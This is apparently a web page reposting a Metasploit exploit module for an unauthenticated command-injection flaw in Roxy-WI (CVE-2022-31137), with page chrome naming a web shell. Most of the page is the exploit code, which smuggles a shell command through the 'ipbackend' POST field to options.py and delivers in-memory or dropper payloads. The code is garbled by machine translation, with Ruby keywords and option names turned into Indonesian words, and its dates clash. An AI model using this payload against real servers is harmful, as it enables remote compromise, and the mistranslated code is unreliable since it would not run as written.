Eksekusi Perintah Jarak Jauh Roxy-WI

  • Whatsapp
Alfa Team Shell Tesla 4.1 Eksekusi Kode Jarak Jauh
Alfa Team Shell Tesla Eksekusi Kode Jarak Jauh

News.nextcloud.asia

##
# Modul ini membutuhkan Metasploit: https://metasploit.com/download
# Sumber saat ini: https://github.com/rapid7/metasploit-framework
##

kelas MetasploitModule < Msf::Eksploitasi::Remote
Peringkat = Peringkat Luar Biasa

termasuk Msf::Eksploitasi::Remote::HttpClient
termasuk Msf::Eksploitasi::CmdStage
tambahkan Msf::Eksploitasi::Remote::AutoCheck

def inisialisasi(info = {})
super(
informasi terbaru(
informasi,
‘Name’ => ‘Roxy-WI Sebelum 6.1.1.0 Perintah Injeksi RCE Tidak Diautentikasi’,
‘Deskripsi’ => %q{
Modul ini mengeksploitasi kerentanan injeksi perintah yang tidak diautentikasi di Roxy-WI
sebelum versi 6.1.1.0. Eksploitasi yang berhasil menghasilkan eksekusi kode jarak jauh
dalam konteks pengguna server web.

Roxy-WI adalah antarmuka untuk mengelola server HAProxy, Nginx, dan Keepalive.
},
‘Lisensi’ => MSF_LICENSE,
‘Penulis’ => [
‘Nuri Çilengir <nuri[at]prodaft.com>’, # Penulis & modul Metasploit
],
‘Referensi’ => [
[‘URL’, ‘https://pentest.blog/advisory-roxywi-unauthenticated-remote-code-execution-cve-2022-3113/’]#Penasihat
[‘URL’, ‘https://github.com/hap-wi/roxy-wi/security/advisories/GHSA-53r2-mq99-f532’]# Informasi tambahan
[‘URL’, ‘https://github.com/hap-wi/roxy-wi/commit/82666df1e60c45dd6aa533b01a392f015d32f755’]# Patch
[‘CVE’, ‘2022-31137’]
],
‘Opsi Default’ => {
‘SSL’ => benar,
‘WfsDelay’ => 25
},
‘Platform’ => %w[unix linux],
‘Lengkungan’ => [ARCH_CMD, ARCH_X86, ARCH_X64],
‘Target’ => [
[
‘Unix (In-Memory)’,
{
‘Platform’ => ‘unix’,
‘Arch’ => ARCH_CMD,
‘Type’ => :in_memory
}
],
[
‘Linux (Dropper)’,
{
‘Platform’ => ‘linux’,
‘Arch’ => [ARCH_X86, ARCH_X64],
‘Tipe’ => :penetes
}
]
],
‘CmdStagerFlavor’ => [‘printf’],
‘Target Default’ => 0,
‘Hak Istimewa’ => salah,
‘DisclosureDate’ => ‘2020-07-06’,
‘Catatan’ => {
‘Stabilitas’ => [CRASH_SAFE],
‘Keandalan’ => [REPEATABLE_SESSION],
‘Efek Samping’ => [IOC_IN_LOGS]
}
)
)
daftar_opsi(
[
Opt::RPORT(443),
OptString.new(‘TARGETURI’, [true, ‘The URI of the vulnerable instance’, ‘/’])
]
)
akhir

def execute_command(cmd, _opts = {})
kembalikan send_request_cgi(
{
‘metode’ => ‘POSTING’,
‘uri’ => normalize_uri(target_uri.path, ‘app’, ‘options.py’),
‘vars_post’ => {
‘serv’ => ‘127.0.0.1’,
‘ipbackend’ => “\”; #{cmd} ;#”,
‘alert_consumer’ => Rex::Text.rand_text_alpha_lower(7),
‘backend_server’ => ‘127.0.0.1’
}
}, 10
)
penyelamatan Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Errno::ETIMEDOUT
kembali nihil
akhir

cek def
print_status(“Memeriksa apakah #{peer} rentan!”)

res = execute_command(‘id’)

return CheckCode::Unknown(“Tidak menerima tanggapan dari #{peer}”) kecuali res

if res.code == 200 && res.body =~ /uid=\d+\(.+\)/
print_status(“#{peer} rentan!”)
return CheckCode::Vulnerable(‘Perangkat merespons eksploitasi dengan 200 OK dan perintah uji berhasil dijalankan.’)
kode res.elif == 200
return CheckCode::Unknown(‘Target merespon 200 respons OK namun tidak berisi payload yang diharapkan.’)
kalau tidak
return CheckCode::Safe(“#{peer} tidak menanggapi respons 200 OK dan respons yang diharapkan, artinya tidak rentan.”)
akhir
akhir

def mengeksploitasi
print_status(‘Mengeksploitasi…’)
sasaran kasus[‘Type’]
kapan :in_memory
eksekusi_perintah(payload.encoded)
kapan : penetes
eksekusi_cmdstager
akhir
akhir
akhir

Pos terkait

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan.